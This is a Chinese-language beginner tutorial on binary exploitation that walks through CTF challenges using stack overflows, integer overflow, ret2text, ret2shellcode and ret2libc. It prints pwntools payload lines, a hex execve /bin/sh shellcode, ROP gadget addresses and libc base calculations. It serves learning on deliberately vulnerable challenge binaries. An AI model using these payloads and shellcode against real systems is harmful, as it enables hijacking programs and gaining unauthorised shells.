PWN的一些基础知识
前言
什么是Pwn?
概念
”Pwn”是一个黑客语法的俚语词 ,是指攻破设备或者系统 。发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵了。
——————————————————————————————————百度百科
例子
试想有个端口对外开放着某种服务,如果你成功将它pwn掉,获取shell,提权之后这台服务器你就可以为所欲为;
即使无法提权,你也可以使用shell执行一些操作
入门者常用的Pwn方法
√ 代表本文目前更新
栈内变量覆盖 √
整型溢出 √
ROP【全称为Return-oriented programming(返回导向编程)】
- ret2text √
- ret2shellcode(未启用NX保护,栈可执行) √
- ret2libc (可用于绕过NX保护)√
- ret2syscall √
- ret2csu - 请移步下篇文章pwn进阶(尚未更新)
格式化字符串漏洞 √
构造ROP链 - 请移步下篇文章pwn进阶(尚未更新)
一些话
IDA上静态分析看到的东西有时和实际上运行的情况不一样,所以有时候需要进行动态分析,利用gdb等工具(IDA debug环境也可)
本文提供的程序全部为pyhton3,使用python2.7运行可能会遇到错误
本文篇幅较长,也比较枯燥,需要一些耐心进行阅读、思考
本文写给有c语言基础但是不懂pwn的人,介绍基础方法
开始之前
如果想知道相关工具的配置,请到本文后部分“相关”部分。(非常建议先把工具的使用方法了解一下)
本文可能存在一些错误,如有发现请麻烦指正,感激不尽。
导入
简单栈内变量覆盖
程序
ciscn_2019_n_1
程序下载: 本站网址/static/post/pwn-rop/ext/bin/ciscn_2019_n_1
checksec
amd64-64-little,为64位小端存储,开启NX保护
运行一下
IDA反编译
main函数
直接F5查看c伪代码,没有关键的东西,继续看func函数
func函数
汇编
c伪代码
可以看到gets函数,这是个危险函数,我们从gets入手
程序解释
程序打印“Let’s guess the number.”
程序读取输入,存到v1变量
程序判断v2的值是否为11.28125,是的话就执行system(“cat /flag”)
剩下的略过
可以发现v2并没有要求输入,但是v1可以输入任意数量的字符,由于v1 v2处于同一个栈,将v1输入一定数量的字符导致其溢出,溢出值覆盖v2的值即可
如下,v1首地址与v2首地址相差0x30-0x04也就是48-4 = 44
Exploit
1 | from pwn import * |
Exp解释
到接受完”Let’s guess the number.”这一字符串,程序就发送44个a,再发送11.28125的十六进制形式
需要注意的是,p64()函数中填入浮点数会报错,为了避免这个错误,我们需要先将11.28125转化为十六进制形式
可以使用在线工具,网站在此
小端程序和大端程序
本次使用的程序就是64位的小端程序,关于小端程序和大端程序的区别,其实就是一个存储方式的区别
小端和大端的区别,是会对我们pwn产生影响的,但是我们接触到的pwn程序一般为小端存储,简单了解下即可
1 | 大端模式(大尾) |
- 当一个变量的值位0x1122,0x11为高字节,0x22为低字节
在大端程序中,0x11存储在内存的低位,而0x22存储在内存的高位
在小端程序中,0x22存储在内存的低位,而0x11存储在内存的高位
- 如果觉得有些抽象还可以看看这个判断程序(C语言)
来自此处
1 | //大小端测试程序 |
简单整型溢出
M78
欢迎来到M78星云的光之国,开始你的奇妙冒险吧!
题目入口:失效了/(ㄒoㄒ)/~~
初步尝试
对其执行checksec
*32位程序
*NX保护也就是栈不可执行
逆向分析
ida打开
先看主函数部分
调用了explorer函数
看过了explore函数和后面的check函数,感觉找不到可以溢出的地方
找后门函数
先把后门函数找到
1 | int call_main() |
记录下地址0x08049202
尝试直接运行
不允许的情况
允许的情况
程序要求strlen得出为7才能允许,为啥输入6个a就能成?个人认为因为回车存在”\n”符,程序把换行符”\n”算进去了
反而输入7个a是不能成的
写了个c程序验证,果然如此
开干
找溢出目标
可以看到调用了check函数
存在溢出的是strcpy那里,只需要让dest溢出即可,这个dest是下图中的第一句c程序char dest;
为啥?由于字符串复制(strcpy函数)s指针指向的字符数组的大小可以超过dest所在栈空间的最大值(ebp-18h那里)(也就是0x18),存在溢出
关于溢出的的一些知识
这里就要讲一下上溢出了
上溢出存在于有符号型数据类型,一个char型为一个字节,用于C或C++中定义字符型变量,
signed char范围是 -2^7 ~ 2^7-1,即-128到127
假设一个signed char变量的值为127,此时加1,它会变成-128
1 | 0b01111111->加1->0b100000000 |
ctfwiki中解释
1 | 0x7fff (0b0111111111111111)表示的是 32767, |
既然有上溢出,当然也有下溢出
ctfwiki中解释
下溢出存在于无符号型数据类型
1 | sub 0x8000, 1 == 0x7fff, |
要求满足字符长度为7的条件
char存储128的值会因为溢出而变成-128,也就是存储257后实际值就是1,下面有进行条件测试
条件测试1
写了一个c程序进行观察
保存为1.c
1 |
|
gcc编译
使用-m32参数保证编译32位程序
1 | gcc 1.c -o 1.o -m32 |
使用pwntools测试
1 | from pwn import * |
结果
更多结果
条件测试1总结
也就是输入256+i,存储的就是i(i为整数)
理顺条理
那么对于这道题目,我给它输入262个字符就行,262即256+6,剩下一个字符为“\n”,符合长度7
为啥?本文开头那里“尝试直接运行”部分有说明
构造payload
由于我使用python3,所以需要decode(“iso-8859-1”),python2.7无需此操作
1 | 0x18 * 'a' + 4 * 'a' + p32(0x08049202).decode("iso-8859-1") + (262-0x18-4-4) * 'a' |
读入的最大大小为0x199u,也就是十进制409,262个字符输入是可行的
payload解释
0x18 * ‘a’ 中的0x18前面说过是dest存储的最大值,超过这个值造成dest变量溢出
汇编显示有leave指令,即mov esp,ebp和 pop ebp
pop ebp也就是说pop时候,出栈用esp寄存器接收数据
4 * ‘a’ 是用于覆盖ebp寄存器的出栈数据(32位程序为4字节,64位程序就要为8字节了),使其出栈
那么p32(0x08049202).decode(“iso-8859-1”)实际上是p32(0x08049202),是字节码,溢出时使ret指令跳到这个地址,使其执行位于0x08049202的函数
(262-0x18-4-4) * ‘a’是为了保证最后发送的为262个字符,-0x18就不多说了,前面已经有0x18个字符‘a’故减去,一个-4是因为前面的4 * ‘a’ 占去四个字符
而再次-4是因为p32(0x08049202)为4个字符的大小,下图使用python的函数len()计算出p32()为四个字符的长度
前面已经说明使用262的原因
Exploit
exploit如下
1 | from pwn import * |
payload其他写法
这样写可能更好理解
1 | payload = 'a' * (0x18 + 4) + p32(0x08049202).decode("iso-8859-1") |
简单ret2text
ret2text的简单理解就是利用.text段
什么时候使用ret2text?通常我们会反编译程序,查看是否有后门函数存在,如果后门函数如system(“/bin/sh”)存在,很有可能可以使用ret2text。
题目来自https://ctf.show/ 的 pwn02
下载程序
提供一个stack文件
checksec
可以看到这是32位的程序,开启NX
运行一下
IDA反编译
可以看到数组s的所在栈空间只能存9个字符,而程序允许50字符的读取,存在栈溢出
pwnme函数如下
还发现后门函数
地址位于0x804850F
程序解释
程序运行后要求用户输入,最多能输入50个字符,输入的字符存到数据类型为char的s变量中
Exploit
语言为python3
1 | from pwn import * |
EXP解释
先使用9个字符填满s变量所在栈,造成溢出,再使用4个字符对ebp寄存器进行覆盖(程序在返回(ret)前会pop ebp,即对ebp进行出栈操作)(由于是32位程序,ebp寄存器能存4个字节,所以是4,64位程序是8)
结构如下:
(使用Windows自带画图工具画的,见谅)
进阶ret2text
程序下载: 本站网址/static/post/pwn-rop/ext/bin/ret2text1
因为找不到想要的在text段有”/bin/sh”字段的程序,所以拿ctfwiki上的一题ret2libc1来讲,应当是类似的
checksec
IDA反编译
存在后门函数,地址为0x08048460,但是只有system函数,不能获取shell
允许输入命令(由command变量)
存在字符串”/bin/sh“
按图示操作
显示
找到字符串”/bin/sh“的地址为0X08048720,可以构造system(“/bin/sh”)
程序解释
输出”RET2LIBC >_<“后读取任意长度字符存入所在栈空间为0x64个字节的s(char型)中
构造payload
1 | #刚刚记下的地址 |
编写exp
1 | from pwn import * |
但是运行了之后无法get shell,显示EOF。
这种情况就是在文章开头时说的,有时IDA进行静态分析不太准确,
那么此时进行动态调试是必要的
使用GDB进行动态调试
实际上,我们填入的字符’a‘的数量是变量s相对于返回地址的偏移,
目的是为了p32(system)即system的地址能覆盖到程序的返回地址
现在要做的就是找到变量s相对于ebp的偏移,然后+4,就是变量s相对于返回地址的偏移
启动gdb
1 | gdb ret2text1 |
在gets下断点
1 | break gets |
或
1 | b gets |
运行
1 | run |
或
1 | r |
找到s在0xffffd4dc
为了查看下面的栈,输入
(100按情况定,是后多少个的意思)
1 | stack 100 |
找到ebp在0xffffd548
计算偏移量
输入
1 | distance 0xffffd4dc 0xffffd548 |
计算出s相对于ebp的偏移为0x6c,则变量s相对于返回地址的偏移为0x6c+4
Exploit
1 | from pwn import * |
简单ret2shellcode
/bin/sh
找到一个大神的27 bytes-/bin/sh如下
16进制版shellcode如下,通过此shellcode可以实现system(“/bin/sh”)的功能
1 | \x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05 |
汇编语句如下,可以研究学习一下
1 | ;来自http://shell-storm.org/shellcode/files/shellcode-806.php |
配套简单ShellCode题目
程序下载: 本站网址/static/post/pwn-rop/ext/bin/leak
checksec
64位程序,没有开启NX,其它保护也没开
运行
IDA反编译
没有可用system()函数
看一下主函数
反编译之后很好理解
程序解释
将s的地址打印出来
然后程序读取512个字符存入类型为char的s变量
漏洞
溢出点
1 | char s; |
数组地址
因为Linux的地址随机化机制,每次运行程序都会给s分配一个随机地址,
而这个题目把s的地址打印出来,所以这个题目是降低了难度的
1 | printf("Oops, I'm leaking! %p\n", &s); |
理解
因为读取的512个字符大小超过了s的所在栈空间大小,导致溢出
又因为NX disable,所以可以执行shellcode,可以用shellcode来劫持程序
Exploit
如下,使用pwntools
请使用python3,下面的程序就是用了上面的16进制shellcode
1 | from pwn import * |
第二个版本(有debug输出)
1 | from pwn import * |
EXP解释
简单解释:
输入0x40(十进制64)个字符就能装满s,再输任意字符就能导致s溢出
先导入shellcode再填充至72(64+8)(8是因为64位程序),再发送s的地址就能完成劫持
深入分析:
分析如图所示汇编程序:
程序读取64个字符(0x40)后(call _fgets后面),先用mov指令将0传送到eax寄存器
然后leave指令,即
1 | mov esp,ebp |
pop指令会进行出栈操作,所以要用64个字符(结构:shellcode+无用字符)后再填充8个字符(结构:无用字符)对其进行覆盖,再发送s的地址
最后ret指令(retn)就会执行发送的shellcode(地址被覆盖为s的地址)
ret指令:
先数据传送,再出栈
1 | 1. 数据传送ebp到esp |
结构如下:
(Windows自带画图工具)
简单ret2libc
少许GOT表和PLT表知识
图片由lx制作
PLT表中存放的是GOT表的地址,当程序要调用某个函数时,会先通过PLT表获取GOT表中存放的函数在内存中的实际地址,再通过实际地址跳转到函数实际所在位置
由于32位程序和64位程序有些区别,所以这里会单独介绍32位和64位程序的做法
ELF
程序1
32位程序
32位程序使用栈传递参数
程序描述
题目来自CTF.show 的 pwn03
程序下载: 本站网址/static/post/pwn-rop/ext/bin/stack1
checksec
可以看到开启了NX,Partial RELRO函数只有在调用时才去执行加载,如果是Full RELRO则不适用ret2libc
运行一下
IDA反编译
先进行静态分析
程序中自身就没有system函数和”/bin/sh”字符串,并且没有给出libc.so文件
对main函数
汇编
伪C
对pwnme函数
汇编
C伪代码如下
程序解释
开始时,打印”stack happy!”和”32bits\n”
程序读取100个字符存入类型为char的s变量,s的所在栈空间大小为9个字符
再打印”\nExiting”
思路解释 and Exploitation
先了解前提条件
这个程序没有后门函数,而且开启了NX保护,存在ASLR(地址空间布局随机化,函数地址不固定)
取得程序libc版本
当我们知道它的libc版本,就可以利用libc,构造system(“/bin/sh”)确定输出函数
因为程序使用了puts函数,所以以puts函数为突破口,泄漏puts函数在GOT表里的地址,以此地址确认libc的版本
取地址的后三位数字确认libc的版本(地址随机化,对地址中间位进行随机,不过地址的倒数三个数字能确定)
求基地址
之后找puts函数在此版本libc中的偏移量,目的是为了求得基地址
由我们获取puts函数的实际地址,减去libc中puts函数的偏移量,可以获取基地址(base)
当获取到了基地址,即可构造system(“/bin/sh”)
基地址加上libc上system函数的偏移量,就是远端机器实际上内存中libc中system函数的实际地址,再获取libc中的”/bin/sh”字符的实际地址,与前面的system函数配合,即可拿到shell
构造完成,劫持程序
将程序劫持到system(“/bin/sh”)
PLT表和GOT表前面已经有简单的介绍,如果还不太清楚,可以再回去了解一下
我们先把puts函数在GOT表里的地址弄出来
程序为python3
1 | from pwn import * |
在Ubuntu20.04运行结果如下
当连接到远程环境
1 | from pwn import * |
得到地址如下
可以看到两个地址不相同,还是以远端机器为主,这里取后三位数字360
1、关于payload写法(暂时不能确定是否完全正确,有待以后验证):
调用某个函数,取其plt地址
如
1 | p32(puts_plt) |
对于函数和数据,调用的函数地址在前,数据的地址在后
如之前写的
1 | p32(puts_plt) + p32(puts_got) |
即put(puts_got)
对于函数之间,先调用的函数在前
如
1 | p32(puts_plt) + p32(main_addr) |
即先调用puts(),再返回main()
而上面给的程序
1 | p32(puts_plt) + p32(main_addr) + p32(puts_got) |
会先put(puts_got), 再ret main
使用puts函数要求填入一个参数,p32(puts_got)即填入puts里的参数
注意,ret main【即p32(main_addr)】是必要的,否则程序将继续执行下一条指令直到退出,p32(main_addr)是puts函数执行完的返回值,意思是返回到main函数,如果缺少这个返回值,程序会出错
可以是其它函数的got地址
类比如下
下面这样写就是fgets
1 | fgets_got = elf.got['fgets'] |
如果是write函数,应当填入3个参数,
write(1, str, length),1代表stdout程序输出流, length是读取字节数
1 | write_got = elf.got['write'] |
2、关于puts_addr的获取的说明
实际上完整的p.recv()如下
1 | b'stack happy!\n32bits\n\n\x10X\xd7\xf7`s\xd7\xf7\x90\x8d\xd2\xf7\xc0z\xd7\xf7\nstack happy!\n32bits\n\n |
我们只获取第一次”stack happy!\n32bits\n\n“后面的东西,所以获取到”\n\n“即可(略过’\n\n’及其前面的东西)
1 | p.recvuntil('\n\n') |
当然这样写也是可以的
1 | p.recvuntil('stack happy!\n32bits\n\n') |
得到
1 | b'\x10X\xd7\xf7`s\xd7\xf7\x90\x8d\xd2\xf7\xc0z\xd7\xf7\nstack happy!\n32bits\n\n |
因为地址是4个字节的,我们只需要再获取4个字节
1 | p.recv(4) |
但由于u32()要求输入的是四个字节的数据,有时p.recv(4)获取的东西可能不足4个字节,给他用“\00”进行补充
1 | u32(p.recv(4).decode("iso-8859-1").ljust(4, "\00")) |
最后转换为hex(16进制)
1 | hex() |
u32()的解释可看此处
简单来说就是bytes的解压,p32()是bytes的压缩,recv()返回的数据类型为byte,而decode(“iso-8859-1”)可以将byte解码为str
然后根据GOT表里的地址确定libc版本,获取基地址
到此网站查找puts,360
计算基地址:
泄露出来的puts地址- puts在libc中的Offset
即0xf7d73360- 0x067360
即
1 | base_addr = puts_addr - 0x067360 |
根据偏移量和基地址构造system(“/bin/sh”)
1 | system_addr = base_addr + 0x03cd10 |
之前已经调用过main了,所以程序会再次要求用户输入,只需再次发送payload
1 | payload1 = b'a'*(9+4) + system_addr + b'a'*4 + bin_sh_addr |
完整EXP如下
1 | from pwn import * |
程序2(进阶)
64位程序
64位程序函数的调用方式与32位存在区别,使用寄存器传递参数
寄存器有rdi、rsi、rdx、rcx、r8、r9(1-6个参数)
程序描述
ciscn_2019_c_1
程序下载: 本站网址/static/post/pwn-rop/ext/bin/ciscn_2019_c_1
程序中自身就没有system函数和”/bin/sh”字符串,并且没有给出libc.so文件
checksec
64位程序,NX开启,Partial RELRO
运行一下
感觉有些无语
静态分析(IDA反编译)
main函数
C伪代码
汇编程序
begin函数
encrypt函数
C伪代码
汇编
程序分析
运行程序后,打印
1 | EEEEEEE hh iii \n |
程序首先要求我们选择模式,1为加密,2为解密,3为退出
输入1,程序打印
1 | Input your Plaintext to be encrypted\n |
程序将读取任意长度字符,存入s中,s仅能存0x50个字符,然后程序再根据ASCII码,
对大于ASCII值47,小于等于ASCII值57(此范围对应字符0-9)的字符进行对0XF的异或,
对于大于ASCII值64,小于等于ASCII值90的字符(此范围对应字符A-Z)的字符进行对0XE的异或,
对于大于ASCII值96,小于等于ASCII值122的字符(此范围对应字符a-z)的字符进行对0XD的异或,
之后输出加密完的字符会返回begin函数,打印提示。
1 | Ciphertext\n |
输入1之后的加密过程其实不重要,我们只需要关注它对任意长度字符的读取导致的溢出
输入2,程序提示 你应该能自己解密。。。然后返回begin函数,打印提示
输入3,直接return 0正常结束程序
思路
- 还是像之前的32位程序那样,先泄露puts的地址(因为这里使用了puts),根据后三位数字判断其libc地址
- 获取基地址,利用libc偏移量构造system(“/bin/sh”)
构造payload1
用于泄露puts的地址
关于32位和64位程序的区别前面已经有提过,在我们构造payload时就会体现这个区别
64位程序使用寄存器传值,因为puts函数只要一个参数,只需要找rdi寄存器(第一个传值的寄存器)的地址
先获取rdi寄存器的地址
需要借助ROPgadget,安装方法见文章底部“相关”部分
ROPgadget可以查看所有的地址和汇编指令
1 | ROPgadget --binary ciscn_2019_c_1 |
为了防止眼花,最好让它自己找出来
1 | ROPgadget --binary ciscn_2019_c_1 | grep 'rdi' |
找到pop rdi ; ret,地址为0x0000000000400c83,可写为0x400c83
依然是直接连接远程主机,原因的话前面已经解释过了
程序为python3
1 | from pwn import * |
payload1的解释
1、b’a’*(0x50+8)应该不需要解释了
2、p64(rdi)+p64(puts_got)是把puts_got的地址传给rdi寄存器
3、p64(puts_plt)是因为找到的pop rdi ; ret存在ret指令,p64(rdi)+p64(puts_got)传完值执行ret指令就能返回到puts_plt表的地址,执行puts函数,打印rdi寄存器里puts_got的地址,p64(main)是puts函数执行完后ret main返回到main函数的地址,再次执行主函数,所以可以看到启动程序时的提示信息出现了两次
下图为payload1发送完接受的信息 ,启动程序时的提示信息第二次出现
4、p.recvuntil(‘Ciphertext\n’)和p.recvuntil(‘\n’)可以先去掉前面的无用信息,使用
1 | p.recvuntil('\n') |
接收,得到